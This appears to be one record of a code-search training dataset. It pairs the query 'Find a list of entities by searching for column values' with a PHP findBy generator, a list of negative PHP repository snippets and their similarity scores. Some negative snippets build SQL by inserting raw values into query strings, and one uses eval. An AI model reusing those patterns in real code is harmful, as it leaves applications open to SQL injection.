"public function findByID($id){\n return $this->Find(self::TABLE,$id);\n }",
"public function findWhere(array $where, $columns = ['*'])\n {\n $this->applyCriteria();\n // $this->applyScope();\n\n $this->applyConditions($where);\n\n $model = $this->model->get($columns);\n $this->resetModel();\n\n return $model;\n }",
"static function findBy($campo, $valor) {\n $CI = get_instance();\n $CI->db->where($campo, $valor);\n $classname = get_called_class();\n eval('$object = new ' . $classname . '();');\n $result = $CI->db->get($object->_tablename())->result();\n if (count($result) > 0) {\n eval('$new = new ' . $classname . '($result[0]);');\n return $new;\n }\n return null;\n }",
"public function findByField($field, $value = null, $columns = ['*'])\n {\n return $this->model->where($field, '=', $value)->get($columns);\n }",
"public static function get_value($orm_table, $id, $column = false, $value = false, $find_all = false)\n {\n if($id)\n {\n $res = ORM::factory($orm_table, $id);\n if($res->loaded())\n return $res;\n else\n return false;\n }\n elseif ($find_all)\n {\n $res = ORM::factory($orm_table)->where($column, '=', $value)->find_all();\n if($res->count() != 0)\n return $res;\n else\n return false;\n }\n else\n $res = ORM::factory($orm_table)->where($column, '=', $value)->find();\n if($res->loaded())\n return $res;\n else\n return false;\n }",
"abstract public function findBy($criteria);",
"public function getEntity()\n\t{\n\t\treturn $this->hasKey() ? $this->database->find($this->key) : null;\n\t}",
"function findFirst($sql) {\n\t\t$args = func_get_args();\n\t\tarray_shift($args);\n\n\t\t$statement = $this->execute($sql, $args);\n\t\t$obj = $statement->fetchObject($this->resultClass, array($this));\n\t\treturn $obj;\n\t}",
"function findProperty($id);",
"public function findByName($name);",
"public function findByName($name);",
"public function findByName($name);",
"function find($table, $value, $pk = null)\n {\n if(is_null($pk)){\n $pk = \"id\";\n }\n $this->query(\"SELECT * FROM $table WHERE $pk = '$value'\");\n return oci_fetch_array($this->result);\n }",
"public static function findFirst($parameters=null) {}",
"public function findOneByCell($name, $value)\n {\n return $this->defineFindOneByCellQuey($name, $value)->getSingleResult();\n }",
"public function findWhere(array $where, $columns = ['*'])\n {\n $this->applyConditions($where);\n\n return $this->model->get($columns);\n }",
"public function find($id, $columns = ['*']);",
"public function find($id, $columns = ['*']);",
"public function find($id, $columns = ['*']);",
"public function find(int $key);",
"public function findById($primaryKeyValue){\n //Select* From employers Where $this->primaryKey(noemp)=$primaryKeyValue(1000)\n $array = $this->findWhere($this->primaryKey. \"=$primaryKeyValue\");\n if (count($array) != 1 ) die (\"The ID $primaryKeyValue is not valid\");\n return $array[0];\n }",
"function FetchOneRowDataByOneField($tableName,$fieldName,$fieldValue)\n{\n $query = $this->db->query(\"Select * from $tableName where $fieldName='\".$fieldValue.\"'\");\n $totalRowsUnique = $query->num_rows();\n if($totalRowsUnique > 0)\n {\n return $query->row();\n }\n \n}",
"public function findById() {\n // TODO: Implement findById() method.\n }"
]
| [
"0.7035676",
"0.6858365",
"0.6722207",
"0.66129935",
"0.6564489",
"0.6487382",
"0.64223933",
"0.64043236",
"0.63869417",
"0.632767",
"0.6316284",
"0.6315033",
"0.6255758",
"0.6222486",
"0.62142146",
"0.6195084",
"0.6187037",
"0.6175334",
"0.6167411",
"0.6167411",
"0.61508185",
"0.6144402",
"0.6121826",
"0.6121441",
"0.61191565",
"0.61074644",
"0.6097925",
"0.6090949",
"0.6090244",
"0.6070854",
"0.6063309",
"0.6049223",
"0.6042312",
"0.60397613",
"0.6017339",
"0.6006729",
"0.60029167",
"0.5983377",
"0.59813225",
"0.59764653",
"0.5956885",
"0.593033",
"0.59207135",
"0.5918625",
"0.59082586",
"0.58931804",
"0.5875259",
"0.5857",
"0.58519626",
"0.58401215",
"0.5837084",
"0.583618",
"0.58326024",
"0.58194566",
"0.58132035",
"0.5807042",
"0.57924825",
"0.57897323",
"0.57893616",
"0.5782454",
"0.5777631",
"0.576779",
"0.5759174",
"0.5756216",
"0.5756216",
"0.5756216",
"0.57498294",
"0.5741844",
"0.5741357",
"0.5738004",
"0.5727332",
"0.5726899",
"0.5709086",
"0.5703604",
"0.56930274",
"0.5692903",
"0.56817347",
"0.5678154",
"0.56780916",
"0.5672085",
"0.5664638",
"0.5662277",
"0.56521696",
"0.56514907",
"0.5646815",
"0.56319124",
"0.56316",
"0.56288093",
"0.56288093",
"0.56288093",
"0.5618166",
"0.56162715",
"0.5612467",
"0.5600962",
"0.5590168",
"0.5590168",
"0.5590168",
"0.5586217",
"0.55859256",
"0.5583625",
"0.5578161"
]
| 0.0 | -1 |
Find a list of entities by searching for column values | public function findBy(array $fields, int $limit = null): \Generator
{
$query = new Query\Select($this->klass);
/** @var mixed $value */
foreach ($fields as $field => $value) {
/** @psalm-suppress RedundantCastGivenDocblockType */
if (strpos((string) $field, '?') !== false) {
$query->where(new Raw($field, $value));
} elseif (is_array($value) || $value instanceof Collection) {
$query->where(new In($field, $value));
} else {
$query->where(new Equals($field, $value));
}
}
if ($limit !== null) {
$query->limit($limit);
}
yield from $this->db->select($this->klass, $query);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function findBy($value);",
"public function findAllBy( $value = NULL, $field = NULL, array $columns = ['*'] );",
"public function findAllWhere(string $column, string $operator, $value, array $with = []);",
"public function findAll( array $columns = ['*'] );",
"public function findBy(array $where = []);",
"public function findAllWhereIn( array $value, $field, array $columns = ['*'] );",
"public function findCriteria()\r\n\t{\n\t\t$result = $this -> connection -> setTable($this -> entity)\n\t\t\t\t\t\t\t\t\t -> fetch();\r\n\n\t\treturn $result;\r\n\t}",
"function findBy($column, $keyword)\n {\n // TODO: Implementation\n }",
"public function findBy(array $criteria);",
"public function findAll(array $columns = ['*']);",
"public function findBy(array $where): ICollection;",
"abstract public function findBy($criteria);",
"public function findBy($criteria);",
"public function findBy($criteria);",
"abstract public function findBy($attributes, $value);",
"function db_search($value,$column,$column_want,$table) {\n\t\t$query = \"SELECT $column_want FROM $table WHERE `$column` LIKE '$value'\";\n\t\t$result = pg_query($this->db_connection,$query);\n\t\twhile($entry = pg_fetch_assoc($result)) {\n\t\t\t$results[] = $entry;\n\t\t}\n\t\treturn $results;\n\t}",
"public function find ( array $criteria )\n {\n $matches = array();\n\n foreach ( $this->_values as $row )\n {\n foreach ( $criteria as $field => $value )\n {\n if ( $row[$field] == $value )\n {\n array_push($matches, $row);\n }\n } // END foreach $criteria\n } // END foreach $_values\n\n return $matches;\n }",
"public function findEntityByNameAll($q){\r\n\t\t$this->recursive = 0;\r\n\t\t$entities = $this->query(\"SELECT * \r\n\t\t\tFROM entities AS Entity \r\n\t\t\tWHERE Entity.name LIKE '%$q%' AND Entity.active = '1'\");\r\n\t\t/*\r\n\t\t$entities = $this->query(\"SELECT * \r\n\t\t\tFROM entities AS Entity \r\n\t\t\tWHERE Entity.name LIKE '%$q%' \r\n\t\t\tAND EXISTS (SELECT u.id FROM users AS u WHERE u.entity_id = Entity.id)\");\r\n\t\t\r\n\t\t*/\r\n\t\treturn $entities;\r\n\t}",
"public function findBy($field, $value);",
"public function findAllEntities();",
"public abstract function find();",
"public function findList(): array\n {\n $results = $this->pdo\n ->query(\"SELECT id, name FROM $this->table\")\n ->fetchAll(\\PDO::FETCH_NUM);\n $list = [];\n foreach ($results as $result) {\n $list[$result[0]] = $result[1];\n }\n return $list;\n }",
"public function findWhereIn(sting $field, array $value)\n {\n $entities = $this->model->select($this->columns)\n ->whereIn($field, $value)\n ->take($this->limit)\n ->skip($this->offset)\n ->orderBy($this->order, $this->sort)\n ->with($this->relationships)\n ->get();\n\n if ($entities->isEmpty()) {\n return false;\n }\n\n return $entities;\n }",
"public function find();",
"public function findBy(string $column, $value, array $columns = ['*']): ?Model;",
"public function searchEntitiesByMetadata($key, $value)\n {\n assert('is_string($key)');\n assert('is_string($value)');\n\n $st = $this->execute(\n 'SELECT DISTINCT eid \n FROM '. self::$prefix .\"metadata jm\n WHERE `key` = ?\n AND ((value=?) OR (? REGEXP CONCAT('^',value,'\\$')))\n AND revisionid = (SELECT MAX(revisionid) FROM \".self::$prefix.\"metadata WHERE eid = jm.eid);\",\n array($key, $value, $value)\n );\n\n if ($st === false) {\n return 'error_db';\n }\n\n $this->_entities = array();\n $rows = $st->fetchAll(PDO::FETCH_ASSOC);\n foreach ($rows AS $row) {\n $entity = new sspmod_janus_Entity($this->_config);\n $entity->setEid($row['eid']);\n if ($entity->load()) {\n $this->_entities[] = $entity;\n } else {\n SimpleSAML_Logger::error(\n 'JANUS:UserController:searchEntitiesByMetadata - Entity could not be\n loaded, eid: '.$row['eid']\n );\n }\n }\n return $this->_entities;\n }",
"public function findBy($search);",
"public function getTableWhere() {}",
"public function getSearchItems($column, $column_value, $offset = false, $limit = false, $order_type = 'desc', $order_by = 'created_at')\n\t{\n\t\tif(($offset === false) && ($limit === false)){\n\t\t\tif( 'desc' == $order_type ){\n\t\t\t\treturn \\ORM::for_table($this->table)->where_like($column, $column_value)->order_by_desc($order_by)->find_array();\n\t\t\t}else{\n\t\t\t\treturn \\ORM::for_table($this->table)->where_like($column, $column_value)->order_by_asc($order_by)->find_array();\n\t\t\t}\n\t\t}else{\n\t\t\tif( 'desc' == $order_type ){\n\t\t\t\treturn \\ORM::for_table($this->table)->where_like($column, $column_value)->order_by_desc($order_by)->limit($limit)->offset($offset)->find_array();\n\t\t\t}else{\n\t\t\t\treturn \\ORM::for_table($this->table)->where_like($column, $column_value)->order_by_asc($order_by)->limit($limit)->offset($offset)->find_array();\n\t\t\t}\n\t\t}\n\t}",
"public function find(array $where);",
"function findAll() ;",
"public static function find_all($entity_data) {\n $search_results = array();\n $entities = call_user_func(array($entity_data['entity_name'], 'all')); \n foreach ($entities as $key => $entity) {\n $entity_data = EntityAPIUtils::entity_to_data($entity_data, $entity, false);\n array_push($search_results, $entity_data);\n }\n return $search_results;\n }",
"public function findBy(string $field, $value)\n {\n $entities = $this->model->select($this->columns)\n ->where($field, $value)\n ->take($this->limit)\n ->skip($this->offset)\n ->orderBy($this->order, $this->sort)\n ->with($this->relationships)\n ->get();\n\n if ($entities->isEmpty()) {\n return false;\n }\n\n return $entities;\n }",
"public function find(array $criteria);",
"public function findAll() {\n $orderby = array_key_exists('position', $this->_class->columnNames) ? ['position' => 'ASC']: null;\n return $this->findBy(array(), $orderby);\n }",
"function getAllDataValues() {\n\t\t$conn = Doctrine_Manager::connection(); \n\t\t$resultvalues = $conn->fetchAll(\"SELECT * FROM lookuptypevalue WHERE lookuptypeid = '\".$this->getID().\"' order by lookupvaluedescription asc \");\n\t\treturn $resultvalues;\t\n\t}",
"public function getDescendantsWhere($column, $operator = null, $value = null, array $columns = ['*']);",
"public function findAll() {}",
"public function findAll() {}",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function getSearchItemsBy($where, $column, $column_value, $offset = false, $limit = false, $order_type = 'desc', $order_by = 'created_at')\n\t{\n\t\tif(($offset === false) && ($limit === false)){\n\t\t\tif( 'desc' == $order_type ){\n\t\t\t\treturn \\ORM::for_table($this->table)->where($where)->where_like($column, $column_value)->order_by_desc($order_by)->find_array();\n\t\t\t}else{\n\t\t\t\treturn \\ORM::for_table($this->table)->where($where)->where_like($column, $column_value)->order_by_asc($order_by)->find_array();\n\t\t\t}\n\t\t}else{\n\t\t\tif( 'desc' == $order_type ){\n\t\t\t\treturn \\ORM::for_table($this->table)->where($where)->where_like($column, $column_value)->order_by_desc($order_by)->limit($limit)->offset($offset)->find_array();\n\t\t\t}else{\n\t\t\t\treturn \\ORM::for_table($this->table)->where($where)->where_like($column, $column_value)->order_by_asc($order_by)->limit($limit)->offset($offset)->find_array();\n\t\t\t}\n\t\t}\n\t}",
"abstract protected function getWhereForRow($data);",
"public function findAll() {}",
"abstract protected function fetchValueSuggestions($column, $searchTerm, Filter\\Chain $searchFilter);",
"public function findByData($a,$b=null,$c=null, $d=null, $e=null, $f=null) {\n\t\tif (!is_array($a) && $b !== null) {\n\t\t\t$keyValues = array($a=>$b);\n\t\t\tif ($c) {\n\t\t\t\t$multipleResults = $c;\n\t\t\t}\n\t\t\tif ($d!==null) {\n\t\t\t\t$neededMatches = $d;\n\t\t\t} \n\t\t\tif ($e!==null) {\n\t\t\t\t$contains = $e;\n\t\t\t} \n\t\t\tif ($f!==null) {\n\t\t\t\t$limit = $f;\n\t\t\t} \n\t\t\t\n\t\t} \n\t\t\n\t\t// if arguments are keyValue, multipleresults, needed matches, contains\n\t\telse if (is_array($a)) {\n\t\t\t$keyValues = $a;\n\t\t\tif ($b) {\n\t\t\t\t$multipleResults = $b;\n\t\t\t}\n\t\t\tif ($c!==null) {\n\t\t\t\t$neededMatches = $c;\n\t\t\t} \n\t\t\tif ($d!==null) {\n\t\t\t\t$contains = $d;\n\t\t\t} \n\t\t\tif ($e!==null) {\n\t\t\t\t$limit = $e;\n\t\t\t} \n\t\t}\n\t\t\n\t\tif (!isset($multipleResults))\n\t\t\t$multipleResults=false;\n\t\t\n\t\tif (!isset($contains))\n\t\t\t$contains=false;\n\t\t\t\n\t\tif (!isset($limit))\n\t\t\t$limit=false;\n\t\t\t\n\t\t// If needed matches is not set or set to all (0) then needed matches is number of key value pairs\n\t\tif (!isset($neededMatches) || $neededMatches === 'all' || $neededMatches === null) {\n\t\t\t$neededMatches = count($keyValues);\n\t\t} \n\t\t\n\t\t// Needed matches cannot not be more than specified key value pairs\n\t\tif ($neededMatches > count($keyValues)) {\n\t\t\t$neededMatches = count($keyValues);\n\t\t}\n\t\t\n\t\t// Start the query\n\t\t$dataTable = $this->getMapper()->getDbDataTable();\n\t\t$query = $dataTable->select();\n\t\t\n\t\t// We only need the row_id\n\t\t$query->from($dataTable, array('row_id'));\n\t\t\n\t\t// Add where conditions\n\t\tforeach($keyValues as $key => $value) {\n\t\t\t$value = addslashes($value);\n\t\t\tif ($contains) {\n\t\t\t\t$query->orWhere(\"`key` = '$key' AND `value` LIKE '%$value%'\");\n\t\t\t\t$query->orWhere(\"`key` = '$key' AND `value` LIKE '%\".serialize($value).\"%'\");\n\t\t\t} else {\n\t\t\t\t$query->orWhere(\"`key` = '$key' AND `value`='$value'\");\n\t\t\t\t$query->orWhere(\"`key` = '$key' AND `value`='\".serialize($value).\"'\");\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\t// Group rows by row_id\n\t\t$query->group('row_id');\n\t\t\n\t\t// Having the minimum conditions\n\t\t$query->having('count(*) >= ?',$neededMatches);\n\t\t\n\t\t// order by key matches\n\t\t$query->order('count(*)');\n\t\t\n\t\t// limit the results\n\t\tif ($limit)\n\t\t\t$query->limit($limit);\n\t\t\n\t\t// Perform query\n\t\t$results = $dataTable->fetchAll($query);\n\n\t\tif (count($results)==0) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tif ($multipleResults) {\n\t\t\t// Get results as array\n\t\t\t$return = array();\n\t\t\tforeach($results as $result) {\n\t\t\t\t$return[] = $this->getByID($result->row_id);\n\t\t\t}\n\t\t} else {\n\t\t\t$return = $this->getByID($results[0]->row_id);\n\t\t}\n\n\t\treturn $return;\n\t\t\n\t\t//SELECT l.row_id, count(*) FROM list_data l WHERE ((l.key = \"title\" AND l.value = \"Macroeconomics\") OR (l.key = \"code\" AND l.value = \"EC502\")) GROUP BY l.row_id HAVING count(*) = 2\n\t\t\t\t\n\t}",
"public function findEntityIdsByName($q){\r\n\t\t$this->recursive = 0;\r\n\t\t$entities = $this->find('list', array(\r\n\t\t\t'fields' => array('Entity.id'),\r\n\t\t\t'conditions' => array(\r\n\t\t\t\t'Entity.name LIKE' => '%'.$q.'%',\r\n\t\t\t\t'Entity.active' => 1,\r\n\t\t\t\t),\r\n\t\t\t)\r\n\t\t);\r\n\t\treturn $entities;\r\n\t}",
"public function findAll()\n {\n $sql = \"SELECT rowid, * FROM USER\";\n $result = $this->getDb()->fetchAll($sql);\n $entities = array();\n foreach ($result as $row) {\n $id = $row['rowid'];\n $entities[$id] = $this->buildDomainObject($row);\n }\n return $entities;\n }",
"function find($table, $where=\"1=1\", $fields=\"*\", $orderBy=\"1\"){\n\t\tActiveRecord::sql_item_sanizite($table);\n\t\tActiveRecord::sql_sanizite($fields);\n\t\tActiveRecord::sql_sanizite($orderBy);\n\t\t$q = $this->query(\"select $fields from $table where $where order by $orderBy\");\n\t\t$results = array();\n\t\twhile($row=$this->fetch_array($q)){\n\t\t\t$results[] = $row;\n\t\t}\n\t\treturn $results;\n\t}",
"public function get_entities();",
"public function getFoundRows();",
"public function findBy($params)\n\t{\n\t}",
"function searchTableStatique() {\n include_once('./lib/config.php');\n $table = $_POST['table'];\n $tableStatique = Doctrine_Core::getTable($table);\n $columnNames = $tableStatique->getColumnNames();\n $req = '';\n $param = array();\n $premierPassage = true;\n foreach ($columnNames as $columnName) {\n if ($columnName != 'id') {\n $req .= $premierPassage ? $columnName.' like ? ' : 'and '.$columnName.' like ? ';\n $param[] = $_POST[$columnName].'%';\n $premierPassage = false;\n }\n }\n $search = $tableStatique->findByDql($req, $param);\n echo generateContenuTableStatiqueEntab($table, $tableStatique, $search);\n}",
"public function findBy($column, $value)\n\t{\n\t\t$arr = array();\n\t\tforeach($this as $item) {\n\t\t\tif($item->$column == $value) $arr[] = $item;\n\t\t}\n\t\treturn new DataTable($arr);\n\t}",
"public function myFindAll(): array\n {\n $qb = $this->_em->createQueryBuilder()\n ->select('s')\n ->from($this->_entityName, 's')\n ->innerJoin('s.provider', 'p')\n ->addSelect('p')\n ->innerJoin('p.logos','l')\n ->addSelect('l')\n ->orderBy('s.releaseDate','DESC');\n\n return $qb->getQuery()\n ->getResult();\n }",
"public function findAllWhere(string $column, string $operator, $value, array $with = [])\n {\n $collection = [];\n\n try {\n $collection = $this->model->where($column, $operator, $value)->with($with)->get();\n } catch (PDOException $exception) {\n $this->handleException($exception);\n } finally {\n return $collection;\n }\n }",
"public function find($object) {\r\n $oReflectionClass = new ReflectionClass($object);\r\n //$properties = $oReflectionClass->getProperties(ReflectionProperty::IS_PUBLIC);\r\n $properties = $oReflectionClass->getProperties();\r\n $this->className = $class = $oReflectionClass->getName();\r\n\r\n foreach ($properties as $key => $reflectionProperty)\r\n $datos_where[$reflectionProperty->getName()] = $reflectionProperty->getValue($object);\r\n $this->setList(null);\r\n $this->setObject(null);\r\n $table = $this->table = CriteriaEntityMgr::instance()->findTable($this->className);\r\n $this->SQL = MySQL_DB::instance()->DBSQLSelect($table, null, $datos_where, $this->array_order, $this->type_order);\r\n $this->execute();\r\n $list = array();\r\n if($this->getNumRows() == 1) {\r\n $row = MySQL_DB::instance()->DBFetchArray($this->result);\r\n $object = $this->iterateProperty($class, $object, $row, $properties);\r\n $this->setObject($object);\r\n $list[] = $object;\r\n }\r\n if($this->getNumRows() > 1) {\r\n while ($row = MySQL_DB::instance()->DBFetchArray($this->result)) {\r\n $object_new = $oReflectionClass->newInstance($oReflectionClass);\r\n $object_new = $this->iterateProperty($class, $object_new, $row, $properties);\r\n $list[] = $object_new;\r\n }\r\n }\r\n $this->setList($list);\r\n return $this;\r\n }",
"abstract public function columnListQuery($table);",
"public function find($query, $column)\n {\n $rows = [];\n while ($row = fgetcsv($this->handle)) {\n if ($row[$column] == $query) {\n $rows[] = $row;\n }\n }\n return $rows;\n }",
"function getDataListWhere($table,$fields = null,$where = null,$order = null,$limit_start,$limit_limit) {\r\n\t\t\r\n\t\t$db = self::getDatabaseDataWhere($table,$fields,$where,$order,$limit_start,$limit_limit);\r\n\t\t\r\n\t\t//echo $db->getQuery();\r\n\t\treturn $db->loadAssocList();\r\n\t}",
"public function findAll()\n {\n\n // query whether or not we've already loaded the value\n if (!isset($this->cache[__METHOD__])) {\n // try to load the EAV entity types\n $this->eavEntityTypeStmt->execute();\n\n // initialize the array for the EAV entity types\n $eavEntityTypes = array();\n\n // prepare the EAV entity types => we need the entity type code as key\n foreach ($this->eavEntityTypeStmt->fetchAll(\\PDO::FETCH_ASSOC) as $eavEntityType) {\n $eavEntityTypes[$eavEntityType[MemberNames::ENTITY_TYPE_CODE]] = $eavEntityType;\n }\n\n // append the EAV entity types to the cache\n $this->cache[__METHOD__] = $eavEntityTypes;\n }\n\n // return the EAV entity types from the cache\n return $this->cache[__METHOD__];\n }",
"function searchInventory ($searchValue) {\n global $db;\n \n \n //$stmt = $db->prepare(\"SELECT * FROM schools WHERE $column LIKE :search\");\n\n \n \n $results = [];\n $stmt = $db->prepare(\"SELECT idItem, `name`, amount, unitPrice, salesPrice, parAmount FROM inventory WHERE name LIKE :search\");\n $search = '%'.$searchValue.'%';\n $binds = array(\n \":search\" => $search\n );\n\n if ( $stmt->execute($binds) && $stmt->rowCount() > 0 ) {\n $results = $stmt->fetchAll(PDO::FETCH_ASSOC);\n\n }\n\n return ($results);\n }",
"public function findBy($column, $value) {\n\n return $this->getTableInfoscript()->getTableGateway()->select(\n\n function (Select $select) use ($column, $value) {\n\n $infoTable = $this->getTableInfoscript()->getTableGateway()->getTable();\n\n $select = $this->joinWithInseratTable($select);\n $select->where(sprintf('%s.%s=%s', $infoTable, $column, $value));\n\n return $select;\n }\n );\n }",
"public function findBy($key,$value){ \n $arraytoret = array();\n $query='select *\n from Usuario\n where '.$key.'='.$value;\n $results = $this->driver->exec($query);\n return $this->factory($results);\n}",
"public function findWhere(array $conditions);",
"function getAllEmployeeInfoByCode($db, $column = \"*\", $criteria = \"\")\n{\n $arrResult = [];\n if ($column == \"\") {\n $column = \"*\";\n };\n $strSQL = \"SELECT employee_id,$column FROM hrd_employee $criteria \";\n $resDb = $db->execute($strSQL);\n while ($rowDb = $db->fetchrow($resDb)) {\n $arrResult[$rowDb['employee_id']] = $rowDb;\n }\n return $arrResult;\n}",
"public function searchData () {\n\t\treturn array (\n\t\t\t// Test 0 - Find column_string that contains 'Nothing'\n\t\t\tarray (\n\t\t\t\t'argument_attributes' => array (\n\t\t\t\t\t'column_string' => 'Nothing',\n\t\t\t\t),\n\t\t\t\t'argument_expects' => array (\n\t\t\t\t\t'search_results' => $this->isEmpty (),\n\t\t\t\t),\n\t\t\t),\n\t\t\t// Test 1 - Find column_boolean that quals 1 and column_string contains 'Le'\n\t\t\tarray (\n\t\t\t\t'argument_attributes' => array (\n\t\t\t\t\t'column_boolean' => '1',\n\t\t\t\t\t'column_string' => 'Le',\n\t\t\t\t),\n\t\t\t\t'argument_expects' => array (\n\t\t\t\t\t'search_results' => $this->isType ('array'),\n\t\t\t\t\t'search_results_count' => 1,\n\t\t\t\t),\n\t\t\t),\n\t\t\t// Test 2 - Find column_regex that contains '2'\n\t\t\tarray (\n\t\t\t\t'argument_attributes' => array (\n\t\t\t\t\t'column_regex' => '2',\n\t\t\t\t),\n\t\t\t\t'argument_expects' => array (\n\t\t\t\t\t'search_results' => $this->isType ('array'),\n\t\t\t\t\t'search_results_count' => 2,\n\t\t\t\t),\n\t\t\t),\n\t\t);\n\t}",
"private function filter() {\r\n $globalSearch = array();\r\n $columnSearch = array();\r\n\r\n $columns = $this->resource->setDatatableFields(TRUE);\r\n\r\n $dtColumns = $this->pluck($columns, 'dt');\r\n\r\n if (isset($this->resource->requestData['search']) && $this->resource->requestData['search']['value'] != '') {\r\n\r\n $str = $this->resource->requestData['search']['value'];\r\n\r\n for ($i = 0, $ien = count($this->resource->requestData['columns']); $i < $ien; $i++) {\r\n $requestColumn = $this->resource->requestData['columns'][$i];\r\n $columnIdx = array_search($requestColumn['data'], $dtColumns);\r\n $column = $columns[$columnIdx];\r\n if ($requestColumn['searchable'] == 'true') {\r\n\r\n $binding = '%' . $str . '%';\r\n\r\n if (strpos($column['db'], \".\") !== FALSE) {\r\n\r\n $fld = explode('.', $column['db']);\r\n $globalSearch[] = $this->adapter->platform->quoteIdentifierChain([$fld[0], $fld[1]]) . \" LIKE \" . $this->adapter->platform->quoteValue($binding);\r\n } else {\r\n $globalSearch[] = $this->adapter->platform->quoteIdentifier($column['db']) . \" LIKE \" . $this->adapter->platform->quoteValue($binding);\r\n }\r\n }\r\n }\r\n }\r\n // Individual column filtering\r\n if (isset($this->resource->requestData['columns'])) {\r\n for ($i = 0, $ien = count($this->resource->requestData['columns']); $i < $ien; $i++) {\r\n $requestColumn = $this->resource->requestData['columns'][$i];\r\n $columnIdx = array_search($requestColumn['data'], $dtColumns);\r\n $column = $columns[$columnIdx];\r\n $str = $requestColumn['search']['value'];\r\n if ($requestColumn['searchable'] == 'true' &&\r\n $str != '') {\r\n\r\n $binding = '%' . $str . '%';\r\n\r\n if (strpos($column['db'], \".\") !== FALSE) {\r\n\r\n $fld = explode('.', $column['db']);\r\n $columnSearch[] = $this->adapter->platform->quoteIdentifierChain([$fld[0], $fld[1]]) . \" LIKE \" . $this->adapter->platform->quoteValue($binding);\r\n } else {\r\n $columnSearch[] = $this->adapter->platform->quoteIdentifier($column['db']) . \" LIKE \" . $this->adapter->platform->quoteValue($binding);\r\n }\r\n }\r\n }\r\n }\r\n // Combine the filters into a single string\r\n $where = '';\r\n if (count($globalSearch)) {\r\n $where = '(' . implode(' OR ', $globalSearch) . ')';\r\n }\r\n if (count($columnSearch)) {\r\n $where = $where === '' ?\r\n implode(' AND ', $columnSearch) :\r\n $where . ' AND ' . implode(' AND ', $columnSearch);\r\n }\r\n\r\n return $where;\r\n }",
"public function findBy($array)\n {\n return $this->getEntityRepository()->findBy($array);\n }",
"function findPropertiesBy(array $criteria);",
"public function findForIndex() {\n\t\treturn $this->findAll();\n\t}",
"public function getByProjectIdAndSearch($projectId, $searchvalues, $relations = [], $columns = ['*']);",
"function findPropertyBy(array $criteria);",
"function find_by_sql($sql) {\n\t\t\treturn $this->find_all($sql);\n\t\t}",
"public static function find_all(){\n global $database;\n $result_set = static::find_by_sql(\"SELECT * FROM \".static::$table_name);\n return $result_set;\n }",
"public function findAll() {\n $result_array = $this->getarray(self::$table_name, \"\", \"\", \"\");\n return !empty($result_array) ? $result_array : false;\n }",
"function findCPTinGroup($em,$document,$code,$codeType)\n{\n $patient=$document->getPatient();\n $pid=$patient->getPID();\n $enc=$document->getOEMREncounter(); \n $codeList=codesInGroup($code,$codeType);\n \n $qb = $em->createQueryBuilder()\n ->select(\"cpt\")\n ->from(\"library\\doctrine\\Entities\\OEMRBillingEntry\",\"cpt\")\n ->where(\"cpt.encounter=:enc\")\n ->andWhere(\"cpt.code_type=:ct\")\n ->andWhere(\"cpt.pid=:pat\")\n ->andWhere(\"cpt.code in \".$codeList);\n\n $qb->setParameter(\"enc\",$enc->getEncounter());\n $qb->setParameter(\"ct\",$codeType);\n $qb->setParameter(\"pat\",$pid);\n \n $qry=$qb->getQuery();\n $res=$qry->getResult(); \n return $res;\n \n}",
"public static function find_all_by($column, $value, $order = 'ASC') {\n\t\t$sql = 'SELECT * FROM ' . static::$table . ' WHERE ' . $column . ' = ?;';\n\t\t$query = DBH()->prepare($sql);\n\t\t$query->execute(array($value));\n\t\t$results = $order == 'DESC' ? array_reverse($query->fetchAll()) : $query->fetchAll();\n\t\tif (empty($results)) {\n\t\t\treturn array();\n\t\t} else {\n\t\t\treturn array_map(function($result) { return self::resemble($result); }, $results);\n\t\t}\n\t}",
"public function getFindList() {\r\r\n\t\treturn $this->dbHandle->sql_query(\"SELECT * FROM rp_find ORDER BY findno\");\r\r\n\t}",
"public function findEntityByName($q){\r\n\t\t$this->recursive = 0;\r\n\t\t/*\r\n\t\t$entities = $this->query(\"SELECT * \r\n\t\t\tFROM entities AS Entity \r\n\t\t\tWHERE Entity.name LIKE '%$q%'\");\r\n\t\t*/\r\n\t\t$entities = $this->query(\"SELECT * \r\n\t\t\tFROM entities AS Entity \r\n\t\t\tWHERE Entity.name LIKE '%$q%' \r\n\t\t\tAND EXISTS (SELECT u.id FROM users AS u WHERE u.entity_id = Entity.id)\");\r\n\t\t\r\n\t\treturn $entities;\r\n\t}",
"private function searchableColumns()\n {\n return empty($this->searchables) ? array_diff($this->fillable, $this->hidden) : $this->searchables;\n }",
"public function queryEntity($options = array())\n {\n $columns = &$this->columns;\n\n $em = $this->_em;\n $qb = $em->getRepository('BookingBundle:Casa')\n ->createQueryBuilder('a')\n ->distinct(true)\n ->select('a');\n\n if (array_key_exists('sSearch',$options)) {\n if ($options['sSearch'] != '') {\n $qb->andWhere(new Orx(\n\n /**\n * @return array\n */\n call_user_func( function() use ($columns,$qb,$options){\n\n $aLike = array();\n\n foreach ($columns as $col) {\n\n $aLike[] = $qb->expr()->like('a.'.$col, '\\'%' . $options['sSearch'] . '%\\'');\n }\n\n return $aLike;\n })\n \n ));\n }\n }\n\n if ( isset( $options['iDisplayStart'] ) && $options['iDisplayLength'] != '-1' ){\n $qb->setFirstResult( (int)$options['iDisplayStart'] )\n ->setMaxResults( (int)$options['iDisplayLength'] );\n }\n\n\n if (array_key_exists('iDisplayLength',$options)) {\n if ($options['iDisplayLength']!='') {\n $qb->setMaxResults($options['iDisplayLength']);\n }\n }\n\n $result = $qb->getQuery()->getResult();\n $dataExport = array();\n\n foreach ($result as $r) {\n /**\n * @var Casa $r\n * */\n\n $dataHouse = $r->toArray();\n $dataHouse[4]=$this->isAvailable($r);\n array_push($dataExport, $dataHouse);\n }\n\n\n\n\n\n return $dataExport;\n\n }",
"public function findAll()\n {\n $this->ensureIsConfigured();\n $classname = $this->getRecordClassname();\n return $classname::find();\n }",
"public function getCriteria();",
"function findAll($expression, $offset = null, $limit = null);",
"public function searchColumns(): array\n {\n return $this->columns();\n }",
"public function searchColumns(): array\n {\n return $this->columns();\n }",
"public function myFindAll(){\n // $queryBuilder = $this->createQueryBuilder('a');\n // $query = $queryBuilder->getQuery();\n // $results = $query->getResult();\n return $this->createQueryBuilder('a')->getQuery()->getResult;\n }",
